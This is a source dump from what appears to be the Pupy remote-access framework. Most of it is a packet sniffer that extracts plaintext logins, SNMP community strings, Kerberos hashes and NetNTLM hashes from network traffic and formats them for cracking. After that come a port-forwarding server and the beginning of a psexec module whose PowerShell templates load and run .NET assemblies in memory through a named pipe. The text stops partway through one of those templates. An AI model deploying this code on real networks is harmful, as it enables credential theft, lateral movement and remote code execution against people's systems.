            if src_ip_port == ip_port:
                if ack in pkt_frag_loads[src_ip_port]:
                    # Make pkt_frag_loads[src_ip_port][ack] = full load
                    old_load = pkt_frag_loads[src_ip_port][ack]
                    concat_load = old_load + load
                    return OrderedDict([(ack, concat_load)])

        return OrderedDict([(ack, load)])

    def pkt_parser(self, pkt):
        '''
        Start parsing packets here
        '''
        global pkt_frag_loads, mail_auths

        if pkt.haslayer(Raw):
            load = pkt[Raw].load

        # Get rid of Ethernet pkts with just a raw load cuz these are usually network controls like flow control
        if pkt.haslayer(Ether) and pkt.haslayer(Raw) and not pkt.haslayer(IP) and not pkt.haslayer(IPv6):
            return

        # UDP
        if pkt.haslayer(UDP) and pkt.haslayer(IP) and pkt.haslayer(Raw):

            src_ip_port = str(pkt[IP].src) + ':' + str(pkt[UDP].sport)
            dst_ip_port = str(pkt[IP].dst) + ':' + str(pkt[UDP].dport)

            # SNMP community strings
            if pkt.haslayer(SNMP):
                self.parse_snmp(src_ip_port, dst_ip_port, pkt[SNMP])
                return

            # Kerberos over UDP
            decoded = self.Decode_Ip_Packet(str(pkt)[14:])
            kerb_hash = self.ParseMSKerbv5UDP(decoded['data'][8:])
            if kerb_hash:
                self.printer(src_ip_port, dst_ip_port, kerb_hash)

        # TCP
        elif pkt.haslayer(TCP) and pkt.haslayer(Raw) and pkt.haslayer(IP):

            ack = str(pkt[TCP].ack)
            seq = str(pkt[TCP].seq)
            src_ip_port = str(pkt[IP].src) + ':' + str(pkt[TCP].sport)
            dst_ip_port = str(pkt[IP].dst) + ':' + str(pkt[TCP].dport)
            self.frag_remover(ack, load)
            pkt_frag_loads[src_ip_port] = self.frag_joiner(ack, src_ip_port, load)
            full_load = pkt_frag_loads[src_ip_port][ack]

            # Limit the packets we regex to increase efficiency
            # 750 is a bit arbitrary but some SMTP auth success pkts
            # are 500+ characters
            if 0 < len(full_load) < 750:

                # FTP
                ftp_creds = self.parse_ftp(full_load, dst_ip_port)
                if len(ftp_creds) > 0:
                    for msg in ftp_creds:
                        self.printer(src_ip_port, dst_ip_port, msg)
                    return

                # Mail
                mail_creds = self.mail_logins(full_load, src_ip_port, dst_ip_port, ack, seq)
                if mail_creds is not None:
                    self.printer(src_ip_port, dst_ip_port, mail_creds)

                # IRC
                irc_creds = self.irc_logins(full_load, pkt)
                if irc_creds is not None:
                    self.printer(src_ip_port, dst_ip_port, irc_creds)
                    return

                # Telnet
                self.telnet_logins(src_ip_port, dst_ip_port, load, ack, seq)

            # HTTP and other protocols that run on TCP + a raw load
            self.other_parser(src_ip_port, dst_ip_port, full_load, ack, seq, pkt)

    def telnet_logins(self, src_ip_port, dst_ip_port, load, ack, seq):
        '''
        Catch telnet logins and passwords
        '''
        global telnet_stream

        msg = None

        if src_ip_port in telnet_stream:
            # Do a utf decode in case the client sends telnet options before their username
            # No one would care to see that
            try:
                telnet_stream[src_ip_port] += load.decode('utf8')
            except UnicodeDecodeError:
                pass

            # \r or \r\n or \n terminate commands in telnet if my pcaps are to be believed
            if '\r' in telnet_stream[src_ip_port] or '\n' in telnet_stream[src_ip_port]:
                telnet_split = telnet_stream[src_ip_port].split(' ', 1)
                cred_type = telnet_split[0]
                value = telnet_split[1].replace('\r\n', '').replace('\r', '').replace('\n', '')
                # Create msg, the return variable
                msg = 'Telnet %s: %s' % (cred_type, value)
                self.printer(src_ip_port, dst_ip_port, msg)
                del telnet_stream[src_ip_port]

        # This part relies on the telnet packet ending in
        # "login:", "password:", or "username:" and being <750 chars
        # Haven't seen any false+ but this is pretty general
        # might catch some eventually
        # maybe use dissector.py telnet lib?
        if len(telnet_stream) > 100:
            telnet_stream.popitem(last=False)
        mod_load = load.lower().strip()
        if mod_load.endswith('username:') or mod_load.endswith('login:'):
            telnet_stream[dst_ip_port] = 'username '
        elif mod_load.endswith('password:'):
            telnet_stream[dst_ip_port] = 'password '

    def ParseMSKerbv5TCP(self, Data):
        '''
        Taken from Pcredz because I didn't want to spend the time doing this myself
        I should probably figure this out on my own but hey, time isn't free, why reinvent the wheel?
        Maybe replace this eventually with the kerberos python lib
        Parses Kerberosv5 hashes from packets
        '''
        try:
            MsgType = Data[21:22]
            EncType = Data[43:44]
            MessageType = Data[32:33]
        except IndexError:
            return

        if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02":
            if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33":
                HashLen = struct.unpack('<b',Data[50:51])[0]
                if HashLen == 54:
                    Hash = Data[53:105]
                    SwitchHash = Hash[16:]+Hash[0:16]
                    NameLen = struct.unpack('<b',Data[153:154])[0]
                    Name = Data[154:154+NameLen]
                    DomainLen = struct.unpack('<b',Data[154+NameLen+3:154+NameLen+4])[0]
                    Domain = Data[154+NameLen+4:154+NameLen+4+DomainLen]
                    BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
                    return 'MS Kerberos: %s' % BuildHash

            if Data[44:48] == "\xa2\x36\x04\x34" or Data[44:48] == "\xa2\x35\x04\x33":
                HashLen = struct.unpack('<b',Data[47:48])[0]
                Hash = Data[48:48+HashLen]
                SwitchHash = Hash[16:]+Hash[0:16]
                NameLen = struct.unpack('<b',Data[HashLen+96:HashLen+96+1])[0]
                Name = Data[HashLen+97:HashLen+97+NameLen]
                DomainLen = struct.unpack('<b',Data[HashLen+97+NameLen+3:HashLen+97+NameLen+4])[0]
                Domain = Data[HashLen+97+NameLen+4:HashLen+97+NameLen+4+DomainLen]
                BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
                return 'MS Kerberos: %s' % BuildHash

            else:
                Hash = Data[48:100]
                SwitchHash = Hash[16:]+Hash[0:16]
                NameLen = struct.unpack('<b',Data[148:149])[0]
                Name = Data[149:149+NameLen]
                DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
                Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
                BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
                return 'MS Kerberos: %s' % BuildHash

    def ParseMSKerbv5UDP(self, Data):
        '''
        Taken from Pcredz because I didn't want to spend the time doing this myself
        I should probably figure this out on my own but hey, time isn't free why reinvent the wheel?
        Maybe replace this eventually with the kerberos python lib
        Parses Kerberosv5 hashes from packets
        '''

        try:
            MsgType = Data[17:18]
            EncType = Data[39:40]
        except IndexError:
            return

        if MsgType == "\x0a" and EncType == "\x17":
            try:
                if Data[40:44] == "\xa2\x36\x04\x34" or Data[40:44] == "\xa2\x35\x04\x33":
                    HashLen = struct.unpack('<b',Data[41:42])[0]
                    if HashLen == 54:
                        Hash = Data[44:96]
                        SwitchHash = Hash[16:]+Hash[0:16]
                        NameLen = struct.unpack('<b',Data[144:145])[0]
                        Name = Data[145:145+NameLen]
                        DomainLen = struct.unpack('<b',Data[145+NameLen+3:145+NameLen+4])[0]
                        Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen]
                        BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
                        return 'MS Kerberos: %s' % BuildHash

                    if HashLen == 53:
                        Hash = Data[44:95]
                        SwitchHash = Hash[16:]+Hash[0:16]
                        NameLen = struct.unpack('<b',Data[143:144])[0]
                        Name = Data[144:144+NameLen]
                        DomainLen = struct.unpack('<b',Data[144+NameLen+3:144+NameLen+4])[0]
                        Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen]
                        BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
                        return 'MS Kerberos: %s' % BuildHash

                else:
                    HashLen = struct.unpack('<b',Data[48:49])[0]
                    Hash = Data[49:49+HashLen]
                    SwitchHash = Hash[16:]+Hash[0:16]
                    NameLen = struct.unpack('<b',Data[HashLen+97:HashLen+97+1])[0]
                    Name = Data[HashLen+98:HashLen+98+NameLen]
                    DomainLen = struct.unpack('<b',Data[HashLen+98+NameLen+3:HashLen+98+NameLen+4])[0]
                    Domain = Data[HashLen+98+NameLen+4:HashLen+98+NameLen+4+DomainLen]
                    BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
                    return 'MS Kerberos: %s' % BuildHash
            except struct.error:
                return

    def Decode_Ip_Packet(self, s):
        '''
        Taken from PCredz, solely to get Kerb parsing
        working until I have time to analyze Kerb pkts
        and figure out a simpler way
        Maybe use kerberos python lib
        '''
        d={}
        d['header_len']=ord(s[0]) & 0x0f
        d['data']=s[4*d['header_len']:]
        return d

    def double_line_checker(self, full_load, count_str):
        '''
        Check if count_str shows up twice
        '''
        num = full_load.lower().count(count_str)
        if num > 1:
            lines = full_load.count('\r\n')
            if lines > 1:
                full_load = full_load.split('\r\n')[-2] # -1 is ''
        return full_load

    def parse_ftp(self, full_load, dst_ip_port):
        '''
        Parse out FTP creds
        '''
        print_strs = []

        # Sometimes FTP packets double up on the authentication lines
        # We just want the lastest one. Ex: "USER danmcinerney\r\nUSER danmcinerney\r\n"
        full_load = self.double_line_checker(full_load, 'USER')

        # FTP and POP potentially use idential client > server auth pkts
        ftp_user = re.match(ftp_user_re, full_load)
        ftp_pass = re.match(ftp_pw_re, full_load)

        if ftp_user:
            msg1 = 'FTP User: %s' % ftp_user.group(1).strip()
            print_strs.append(msg1)
            if dst_ip_port[-3:] != ':21':
                msg2 = 'Nonstandard FTP port, confirm the service that is running on it'
                print_strs.append(msg2)

        elif ftp_pass:
            msg1 = 'FTP Pass: %s' % ftp_pass.group(1).strip()
            print_strs.append(msg1)
            if dst_ip_port[-3:] != ':21':
                msg2 = 'Nonstandard FTP port, confirm the service that is running on it'
                print_strs.append(msg2)

        return print_strs

    def mail_decode(self, src_ip_port, dst_ip_port, mail_creds):
        '''
        Decode base64 mail creds
        '''
        try:
            decoded = base64.b64decode(mail_creds).replace('\x00', ' ').decode('utf8')
            decoded = decoded.replace('\x00', ' ')
        except TypeError:
            decoded = None
        except UnicodeDecodeError:
            decoded = None

        if decoded is not None:
            msg = 'Decoded: %s' % decoded
            self.printer(src_ip_port, dst_ip_port, msg)

    def mail_logins(self, full_load, src_ip_port, dst_ip_port, ack, seq):
        '''
        Catch IMAP, POP, and SMTP logins
        '''
        # Handle the first packet of mail authentication
        # if the creds aren't in the first packet, save it in mail_auths

        # mail_auths = 192.168.0.2 : [1st ack, 2nd ack...]
        global mail_auths
        found = False

        # Sometimes mail packets double up on the authentication lines
        # We just want the lastest one. Ex: "1 auth plain\r\n2 auth plain\r\n"
        full_load = self.double_line_checker(full_load, 'auth')

        # Client to server 2nd+ pkt
        if src_ip_port in mail_auths:
            if seq in mail_auths[src_ip_port][-1]:
                stripped = full_load.strip('\r\n')
                try:
                    decoded = base64.b64decode(stripped)
                    msg = 'Mail authentication: %s' % decoded
                    self.printer(src_ip_port, dst_ip_port, msg)
                except TypeError:
                    pass
                mail_auths[src_ip_port].append(ack)

        # Server responses to client
        # seq always = last ack of tcp stream
        elif dst_ip_port in mail_auths:
            if seq in mail_auths[dst_ip_port][-1]:
                # Look for any kind of auth failure or success
                a_s = 'Authentication successful'
                a_f = 'Authentication failed'
                # SMTP auth was successful
                if full_load.startswith('235') and 'auth' in full_load.lower():
                    # Reversed the dst and src
                    self.printer(dst_ip_port, src_ip_port, a_s)
                    found = True
                    try:
                        del mail_auths[dst_ip_port]
                    except KeyError:
                        pass
                # SMTP failed
                elif full_load.startswith('535 '):
                    # Reversed the dst and src
                    self.printer(dst_ip_port, src_ip_port, a_f)
                    found = True
                    try:
                        del mail_auths[dst_ip_port]
                    except KeyError:
                        pass
                # IMAP/POP/SMTP failed
                elif ' fail' in full_load.lower():
                    # Reversed the dst and src
                    self.printer(dst_ip_port, src_ip_port, a_f)
                    found = True
                    try:
                        del mail_auths[dst_ip_port]
                    except KeyError:
                        pass
                # IMAP auth success
                elif ' OK [' in full_load:
                    # Reversed the dst and src
                    self.printer(dst_ip_port, src_ip_port, a_s)
                    found = True
                    try:
                        del mail_auths[dst_ip_port]
                    except KeyError:
                        pass

                # Pkt was not an auth pass/fail so its just a normal server ack
                # that it got the client's first auth pkt
                else:
                    if len(mail_auths) > 100:
                        mail_auths.popitem(last=False)
                    mail_auths[dst_ip_port].append(ack)

        # Client to server but it's a new TCP seq
        # This handles most POP/IMAP/SMTP logins but there's at least one edge case
        else:
            mail_auth_search = re.match(mail_auth_re, full_load, re.IGNORECASE)
            if mail_auth_search is not None:
                auth_msg = full_load
                # IMAP uses the number at the beginning
                if mail_auth_search.group(1) is not None:
                    auth_msg = auth_msg.split()[1:]
                else:
                    auth_msg = auth_msg.split()
                # Check if its a pkt like AUTH PLAIN dvcmQxIQ==
                # rather than just an AUTH PLAIN
                if len(auth_msg) > 2:
                    mail_creds = ' '.join(auth_msg[2:])
                    msg = 'Mail authentication: %s' % mail_creds
                    self.printer(src_ip_port, dst_ip_port, msg)

                    self.mail_decode(src_ip_port, dst_ip_port, mail_creds)
                    try:
                        del mail_auths[src_ip_port]
                    except KeyError:
                        pass
                    found = True

                # Mail auth regex was found and src_ip_port is not in mail_auths
                # Pkt was just the initial auth cmd, next pkt from client will hold creds
                if len(mail_auths) > 100:
                    mail_auths.popitem(last=False)
                mail_auths[src_ip_port] = [ack]

            # At least 1 mail login style doesn't fit in the original regex:
            #     1 login "username" "password"
            # This also catches FTP authentication!
            #     230 Login successful.
            elif re.match(mail_auth_re1, full_load, re.IGNORECASE) is not None:

                # FTP authentication failures trigger this
                #if full_load.lower().startswith('530 login'):
                #    return

                auth_msg = full_load
                auth_msg = auth_msg.split()
                if 2 < len(auth_msg) < 5:
                    mail_creds = ' '.join(auth_msg[2:])
                    msg = 'Authentication: %s' % mail_creds
                    self.printer(src_ip_port, dst_ip_port, msg)
                    self.mail_decode(src_ip_port, dst_ip_port, mail_creds)
                    found = True

        if found is True:
            return True

    def irc_logins(self, full_load, pkt):
        '''
        Find IRC logins
        '''
        user_search = re.match(irc_user_re, full_load)
        pass_search = re.match(irc_pw_re, full_load)
        pass_search2 = re.search(irc_pw_re2, full_load.lower())
        if user_search:
            msg = 'IRC nick: %s' % user_search.group(1)
            return msg
        if pass_search:
            msg = 'IRC pass: %s' % pass_search.group(1)
            return msg
        if pass_search2:
            msg = 'IRC pass: %s' % pass_search2.group(1)
            return msg

    def other_parser(self, src_ip_port, dst_ip_port, full_load, ack, seq, pkt, verbose=False):
        '''
        Pull out pertinent info from the parsed HTTP packet data
        '''
        user_passwd = None
        http_url_req = None
        method = None
        http_methods = ['GET ', 'POST ', 'CONNECT ', 'TRACE ', 'TRACK ', 'PUT ', 'DELETE ', 'HEAD ']
        http_line, header_lines, body = self.parse_http_load(full_load, http_methods)
        headers = self.headers_to_dict(header_lines)
        if 'host' in headers:
            host = headers['host']
        else:
            host = ''

        if http_line is not None:
            method, path = self.parse_http_line(http_line, http_methods)
            http_url_req = self.get_http_url(method, host, path, headers)
            if http_url_req is not None:
                if verbose is False:
                    if len(http_url_req) > 98:
                        http_url_req = http_url_req[:99] + '...'
                self.printer(src_ip_port, None, http_url_req)

        # Print search terms
        searched = self.get_http_searches(http_url_req, body, host)
        if searched:
            self.printer(src_ip_port, dst_ip_port, searched)

        # Print user/pwds
        if body != '':
            user_passwd = self.get_login_pass(body)
            if user_passwd is not None:
                try:
                    http_user = user_passwd[0].decode('utf8')
                    http_pass = user_passwd[1].decode('utf8')
                    # Set a limit on how long they can be prevent false+
                    if len(http_user) > 75 or len(http_pass) > 75:
                        return
                    user_msg = 'HTTP username: %s' % http_user
                    self.printer(src_ip_port, dst_ip_port, user_msg)
                    pass_msg = 'HTTP password: %s' % http_pass
                    self.printer(src_ip_port, dst_ip_port, pass_msg)
                except UnicodeDecodeError:
                    pass

        # Print POST loads
        # ocsp is a common SSL post load that's never interesting
        if method == 'POST' and 'ocsp.' not in host:
            try:
                if verbose is False and len(body) > 99:
                    # If it can't decode to utf8 we're probably not interested in it
                    msg = 'POST load: %s...' % body[:99].encode('utf8')
                else:
                    msg = 'POST load: %s' % body.encode('utf8')
                self.printer(src_ip_port, None, msg)
            except UnicodeDecodeError:
                pass

        # Kerberos over TCP
        decoded = self.Decode_Ip_Packet(str(pkt)[14:])
        kerb_hash = self.ParseMSKerbv5TCP(decoded['data'][20:])
        if kerb_hash:
            self.printer(src_ip_port, dst_ip_port, kerb_hash)

        # Non-NETNTLM NTLM hashes (MSSQL, DCE-RPC,SMBv1/2,LDAP, MSSQL)
        NTLMSSP2 = re.search(NTLMSSP2_re, full_load, re.DOTALL)
        NTLMSSP3 = re.search(NTLMSSP3_re, full_load, re.DOTALL)
        if NTLMSSP2:
            self.parse_ntlm_chal(NTLMSSP2.group(), ack)
        if NTLMSSP3:
            ntlm_resp_found = self.parse_ntlm_resp(NTLMSSP3.group(), seq)
            if ntlm_resp_found is not None:
                self.printer(src_ip_port, dst_ip_port, ntlm_resp_found)

        # Look for authentication headers
        if len(headers) == 0:
            authenticate_header = None
            authorization_header = None
        for header in headers:
            authenticate_header = re.match(authenticate_re, header)
            authorization_header = re.match(authorization_re, header)
            if authenticate_header or authorization_header:
                break

        if authorization_header or authenticate_header:
            # NETNTLM
            netntlm_found = self.parse_netntlm(authenticate_header, authorization_header, headers, ack, seq)
            if netntlm_found is not None:
                self.printer(src_ip_port, dst_ip_port, netntlm_found)

            # Basic Auth
            self.parse_basic_auth(src_ip_port, dst_ip_port, headers, authorization_header)

    def get_http_searches(self, http_url_req, body, host):
        '''
        Find search terms from URLs. Prone to false positives but rather err on that side than false negatives
        search, query, ?s, &q, ?q, search?p, searchTerm, keywords, command
        '''
        false_pos = ['i.stack.imgur.com']

        searched = None
        if http_url_req is not None:
            searched = re.search(http_search_re, http_url_req, re.IGNORECASE)
            if searched is None:
                searched = re.search(http_search_re, body, re.IGNORECASE)

        if searched is not None and host not in false_pos:
            searched = searched.group(3)
            # Eliminate some false+
            try:
                # if it doesn't decode to utf8 it's probably not user input
                searched = searched.decode('utf8')
            except UnicodeDecodeError:
                return
            # some add sites trigger this function with single digits
            if searched in [str(num) for num in range(0,10)]:
                return
            # nobody's making >100 character searches
            if len(searched) > 100:
                return
            msg = 'Searched %s: %s' % (host, unquote(searched.encode('utf8')).replace('+', ' '))
            return msg

    def parse_basic_auth(self, src_ip_port, dst_ip_port, headers, authorization_header):
        '''
        Parse basic authentication over HTTP
        '''
        if authorization_header:
            # authorization_header sometimes is triggered by failed ftp
            try:
                header_val = headers[authorization_header.group()]
            except KeyError:
                return
            b64_auth_re = re.match('basic (.+)', header_val, re.IGNORECASE)
            if b64_auth_re is not None:
                basic_auth_b64 = b64_auth_re.group(1)
                basic_auth_creds = base64.decodestring(basic_auth_b64)
                msg = 'Basic Authentication: %s' % basic_auth_creds
                self.printer(src_ip_port, dst_ip_port, msg)

    def parse_netntlm(self, authenticate_header, authorization_header, headers, ack, seq):
        '''
        Parse NTLM hashes out
        '''
        # Type 2 challenge from server
        if authenticate_header is not None:
            chal_header = authenticate_header.group()
            self.parse_netntlm_chal(headers, chal_header, ack)

        # Type 3 response from client
        elif authorization_header is not None:
            resp_header = authorization_header.group()
            msg = self.parse_netntlm_resp_msg(headers, resp_header, seq)
            if msg is not None:
                return msg

    def parse_snmp(self, src_ip_port, dst_ip_port, snmp_layer):
        '''
        Parse out the SNMP version and community string
        '''
        if type(snmp_layer.community.val) == str:
            ver = snmp_layer.version.val
            msg = 'SNMPv%d community string: %s' % (ver, snmp_layer.community.val)
            self.printer(src_ip_port, dst_ip_port, msg)
        return True

    def get_http_url(self, method, host, path, headers):
        '''
        Get the HTTP method + URL from requests
        '''
        if method is not None and path is not None:

            # Make sure the path doesn't repeat the host header
            if host != '' and not re.match('(http(s)?://)?'+host, path):
                http_url_req = method + ' ' + host + path
            else:
                http_url_req = method + ' ' + path

            http_url_req = self.url_filter(http_url_req)

            return http_url_req

    def headers_to_dict(self, header_lines):
        '''
        Convert the list of header lines into a dictionary
        '''
        headers = {}
        # Incomprehensible list comprehension flattens list of headers
        # that are each split at ': '
        # http://stackoverflow.com/a/406296
        headers_list = [x for line in header_lines for x in line.split(': ', 1)]
        headers_dict = dict(zip(headers_list[0::2], headers_list[1::2]))
        # Make the header key (like "Content-Length") lowercase
        for header in headers_dict:
            headers[header.lower()] = headers_dict[header]

        return headers

    def parse_http_line(self, http_line, http_methods):
        '''
        Parse the header with the HTTP method in it
        '''
        http_line_split = http_line.split()
        method = ''
        path = ''

        # Accounts for pcap files that might start with a fragment
        # so the first line might be just text data
        if len(http_line_split) > 1:
            method = http_line_split[0]
            path = http_line_split[1]

        # This check exists because responses are much different than requests e.g.:
        #     HTTP/1.1 407 Proxy Authentication Required ( Access is denied.  )
        # Add a space to method because there's a space in http_methods items
        # to avoid false+
        if method+' ' not in http_methods:
            method = None
            path = None

        return method, path

    def parse_http_load(self, full_load, http_methods):
        '''
        Split the raw load into list of headers and body string
        '''
        try:
            headers, body = full_load.split("\r\n\r\n", 1)
        except ValueError:
            headers = full_load
            body = ''
        header_lines = headers.split("\r\n")

        # Pkts may just contain hex data and no headers in which case we'll
        # still want to parse them for usernames and password
        http_line = self.get_http_line(header_lines, http_methods)
        if not http_line:
            headers = ''
            body = full_load

        header_lines = [line for line in header_lines if line != http_line]

        return http_line, header_lines, body

    def get_http_line(self, header_lines, http_methods):
        '''
        Get the header with the http command
        '''
        for header in header_lines:
            for method in http_methods:
                # / is the only char I can think of that's in every http_line
                # Shortest valid: "GET /", add check for "/"?
                if header.startswith(method):
                    http_line = header
                    return http_line

    def parse_netntlm_chal(self, headers, chal_header, ack):
        '''
        Parse the netntlm server challenge
        https://code.google.com/p/python-ntlm/source/browse/trunk/python26/ntlm/ntlm.py
        '''
        try:
            header_val2 = headers[chal_header]
        except KeyError:
            return
        header_val2 = header_val2.split(' ', 1)
        # The header value can either start with NTLM or Negotiate
        if header_val2[0] == 'NTLM' or header_val2[0] == 'Negotiate':
            msg2 = header_val2[1]
            msg2 = base64.decodestring(msg2)
            self.parse_ntlm_chal(ack, msg2)

    def parse_ntlm_chal(self, msg2, ack):
        '''
        Parse server challenge
        '''
        global challenge_acks

        try:
            msg_type = struct.unpack("<I",msg2[8:12])[0]
        except Exception:
            return
        assert(msg_type==2)
        ServerChallenge = msg2[24:32].encode('hex')

        # Keep the dict of ack:challenge to less than 50 chals
        if len(challenge_acks) > 50:
            challenge_acks.popitem(last=False)
        challenge_acks[ack] = ServerChallenge

    def parse_netntlm_resp_msg(self, headers, resp_header, seq):
        '''
        Parse the client response to the challenge
        '''
        try:
            header_val3 = headers[resp_header]
        except KeyError:
            return
        header_val3 = header_val3.split(' ', 1)

        # The header value can either start with NTLM or Negotiate
        if header_val3[0] == 'NTLM' or header_val3[0] == 'Negotiate':
            try:
                msg3 = base64.decodestring(header_val3[1])
            except binascii.Error:
                return
            return self.parse_ntlm_resp(msg3, seq)

    def parse_ntlm_resp(self, msg3, seq):
        '''
        Parse the 3rd msg in NTLM handshake
        Thanks to psychomario
        '''

        if seq in challenge_acks:
            challenge = challenge_acks[seq]
        else:
            challenge = 'CHALLENGE NOT FOUND'

        if len(msg3) > 43:
            # Thx to psychomario for below
            lmlen, lmmax, lmoff, ntlen, ntmax, ntoff, domlen, dommax, domoff, userlen, usermax, useroff = struct.unpack("12xhhihhihhihhi", msg3[:44])
            lmhash = binascii.b2a_hex(msg3[lmoff:lmoff+lmlen])
            nthash = binascii.b2a_hex(msg3[ntoff:ntoff+ntlen])
            domain = msg3[domoff:domoff+domlen].replace("\0", "")
            user = msg3[useroff:useroff+userlen].replace("\0", "")
            # Original check by psychomario, might be incorrect?
            #if lmhash != "0"*48: #NTLMv1
            if ntlen == 24: #NTLMv1
                msg = '%s %s' % ('NETNTLMv1:', user+"::"+domain+":"+lmhash+":"+nthash+":"+challenge)
                return msg
            elif ntlen > 60: #NTLMv2
                msg = '%s %s' % ('NETNTLMv2:', user+"::"+domain+":"+challenge+":"+nthash[:32]+":"+nthash[32:])
                return msg

    def url_filter(self, http_url_req):
        '''
        Filter out the common but uninteresting URLs
        '''
        if http_url_req:
            d = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js', '.svg', '.woff']
            if any(http_url_req.endswith(i) for i in d):
                return

        return http_url_req

    def get_login_pass(self, body):
        '''
        Regex out logins and passwords from a string
        '''
        user = None
        passwd = None

        # Taken mainly from Pcredz by Laurent Gaffie
        userfields = ['log','login', 'wpname', 'ahd_username', 'unickname', 'nickname', 'user', 'user_name',
                      'alias', 'pseudo', 'email', 'username', '_username', 'userid', 'form_loginname', 'loginname',
                      'login_id', 'loginid', 'session_key', 'sessionkey', 'pop_login', 'uid', 'id', 'user_id', 'screename',
                      'uname', 'ulogin', 'acctname', 'account', 'member', 'mailaddress', 'membername', 'login_username',
                      'login_email', 'loginusername', 'loginemail', 'uin', 'sign-in']
        passfields = ['ahd_password', 'pass', 'password', '_password', 'passwd', 'session_password', 'sessionpassword',
                      'login_password', 'loginpassword', 'form_pw', 'pw', 'userpassword', 'pwd', 'upassword', 'login_password'
                      'passwort', 'passwrd', 'wppassword', 'upasswd']

        for login in userfields:
            login_re = re.search('(%s=[^&]+)' % login, body, re.IGNORECASE)
            if login_re:
                user = login_re.group()
        for passfield in passfields:
            pass_re = re.search('(%s=[^&]+)' % passfield, body, re.IGNORECASE)
            if pass_re:
                passwd = pass_re.group()

        if user and passwd:
            return (user, passwd)

    def printer(self, src_ip_port, dst_ip_port, msg):
        if dst_ip_port is not None:
            print_str = '[%s > %s] %s%s%s' % (src_ip_port, dst_ip_port, T, msg, W)

            # All credentials will have dst_ip_port, URLs will not
            self.append(print_str)

            # Escape colors like whatweb has
            # ansi_escape = re.compile(r'\x1b[^m]*m')
            # print_str = ansi_escape.sub('', print_str)

        # to log all URLs
        # else:
        #     print_str = '[%s] %s' % (src_ip_port.split(':')[0], msg)
        #     print print_str


================================================
FILE: pupy/packages/all/pupyutils/portfwd.py
================================================
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import SocketServer
import threading
class RemotePortFwdRequestHandler(SocketServer.BaseRequestHandler):
    def handle(self):
        self.server.callback(self.request)


class RemotePortFwdServer(SocketServer.TCPServer):
    allow_reuse_address = True

    def __init__(self, server_address, bind_and_activate=True, callback=None):
        self.callback=callback
        SocketServer.TCPServer.__init__(self, server_address, RemotePortFwdRequestHandler, bind_and_activate)

    def start_serve(self):
        t=threading.Thread(target=self.serve_forever)
        t.daemon=True
        t.start()


class ThreadedRemotePortFwdServer(SocketServer.ThreadingMixIn, RemotePortFwdServer):
    def __str__(self):
        return "<RemotePortForward remote=%s>"%str(self.server_address)


================================================
FILE: pupy/packages/all/pupyutils/psexec.py
================================================
#!/usr/bin/env python2

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import time
import traceback
import random
import os
import string
import socket
import sys

try:
    import idna
    assert idna
except ImportError:
    pass

from io import open
from base64 import b64encode
from hashlib import md5
from threading import Thread
from contextlib import contextmanager

from impacket.dcerpc.v5 import transport, scmr
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.rpcrt import \
     RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY
from impacket.system_errors import \
     ERROR_SERVICE_DOES_NOT_EXIST, ERROR_SERVICE_NOT_ACTIVE, \
     ERROR_SERVICE_REQUEST_TIMEOUT
from impacket.smbconnection import SMBConnection, SessionError
from impacket.smb3structs import (
    FILE_READ_DATA, FILE_WRITE_DATA, FILE_APPEND_DATA
)

from sys import getdefaultencoding, version_info

from pupy.network.lib.netcreds import add_cred, find_first_cred
from pupy.network.lib.convcompat import (
    try_as_unicode_string, as_unicode_string
)

from Crypto.Cipher import DES
assert(DES)

if version_info.major > 2:
    xrange = range
    basestring = str

SMB_SESSIONS_CACHE = {}
WBEM_SESSIONS_CACHE = {}

USE_CACHE = False

SERVICE_STATUS_STR = {
    scmr.SERVICE_CONTINUE_PENDING: 'CONTINUE_PENDING',
    scmr.SERVICE_PAUSE_PENDING: 'PAUSE_PENDING',
    scmr.SERVICE_PAUSED: 'PAUSED',
    scmr.SERVICE_RUNNING: 'RUNNING',
    scmr.SERVICE_START_PENDING: 'START_PENDING',
    scmr.SERVICE_STOP_PENDING: 'STOP_PENDING',
    scmr.SERVICE_STOPPED: 'STOPPED',
}


class PsExecException(Exception):
    def as_unicode(self, codepage=None):
        if not hasattr(self, 'message'):
            error = str(self)
        else:
            error = self.message

        if not isinstance(error, (str, bytes)):
            error = str(error)

        return try_as_unicode_string(error)


# Use Start-Transcript -Path "C:\\temp\\transcript.log" -Force; to debug

PIPE_LOADER_TEMPLATE = '''
$p=new-object System.IO.Pipes.NamedPipeServerStream("{pipename}","In",2,"Byte",0,{size},0);
$p.WaitForConnection();
$x=new-object System.IO.BinaryReader($p);
$a=$x.ReadBytes({size});
$x.Close();
[Reflection.Assembly]::Load($a).GetTypes()[0].GetMethods()[0].Invoke($null,@());
exit;
\r\n
'''

PIPE_STAGER_TEMPLATE = '''
try {{
$p=new-object System.IO.Pipes.NamedPipeServerStream("{pipename}","In",2,"Byte",0,{size},0);
$p.WaitForConnection();
$pr = New-Object System.Diagnostics.Process -Property @{{
    StartInfo = New-Object System.Diagnostics.ProcessStartInfo -Property @{{
        FileName = '{powershell}';
        Arguments = '-';
        UseShellExecute = $false;
